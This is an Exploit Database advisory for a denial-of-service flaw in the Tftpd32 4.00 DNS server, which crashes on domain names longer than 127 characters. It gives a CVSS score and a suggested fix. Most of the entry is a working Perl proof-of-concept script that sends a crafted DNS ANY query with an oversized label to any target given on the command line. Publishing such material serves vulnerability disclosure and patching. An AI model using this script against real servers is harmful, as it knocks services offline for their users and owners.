TFTPD32 DNS Server 4.00 – Denial of Service

• Exploit Database
• 18 阅读

• 作者： demonalex
  日期： 2012-05-29
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18946/

• Title: Tftpd32 DNS Server Denial Of Service Vulnerability
  Software : Tftpd32
  
  Software Version : v4.00
  
  Vendor: http://tftpd32.jounin.net/ 
  
  Vulnerability Published : 2012-05-26
  
  Vulnerability Update Time :
  
  Status : 
  
  Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)
  
  Bug Description :
  Tftpd32 is a free tftp and dns server for windows, freeware tftp server.
  And the dns server would bind udp port 53, but it does not validate the domain option size leading to a Denial Of Service flaw while sending more than 127 characters to it.
  
  Solution :
  The tftpd32's dns server can drop the evil request when it was detected the domain option size were longer than 127 characters.
  
  Proof Of Concept :
  -----------------------------------------------------------
  #!/usr/bin/perl
  use IO::Socket;
  use Socket;
  use Math::BigInt;
  $|=1;
  $host=shift;
  $port=shift || '53';
  die "usage: $0 \$host [\$port]\n" if(!defined($host));
  $target_ip = inet_aton($host);
  $target = sockaddr_in($port, $target_ip);
  $crash='A'x128;
  $transaction_id_count=1;
  sub dns_struct_pack($){
  $domain=shift;#domain
  $type="\x00\xff"; #dns_type = ANY
  $transaction_id_count=1 if($transaction_id_count > 255);
  $x=Math::BigInt->new($transaction_id_count);
  $x=~s/0x//;
  $transaction_id=sprintf("\x00".chr($x));
  $flag="\x01\x00";
  $question="\x00\x01";
  $answer_rrs="\x00\x00";
  $authority_rrs="\x00\x00";
  $additional_rrs="\x00\x00";
  if($domain ne '0'){
  undef($domain_length);
  $domain_length=length($domain);
  $y=Math::BigInt->new($domain_length);
  $y=~s/0x//;
  $domain_length=chr($y);
  }
  $class="\x00\x01";#IN
  $transaction_id_count++;
  if($domain eq '0'){
  $packet_struct="$transaction_id"."$flag"."$question"."$answer_rrs"."$authority_rrs"."$additional_rrs"."\x00"."$type"."$class";
  }else{
  $packet_struct="$transaction_id"."$flag"."$question"."$answer_rrs"."$authority_rrs"."$additional_rrs"."$domain_length"."$domain".
  "\x00"."$type"."$class";
  }
  return $packet_struct;
  }
  print "Launch attack ... ";
  socket(SOCK1, AF_INET, SOCK_DGRAM, 17);
  send(SOCK1, &dns_struct_pack($crash), 0, $target);
  close(SOCK1);
  print "Finish!\n";
  exit(0);
  -----------------------------------------------------------
  
  Credits : This vulnerability was discovered by demonalex(at)163(dot)com
  mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk
  Pentester/Researcher
  Dark2S Security Team/PolyU.HK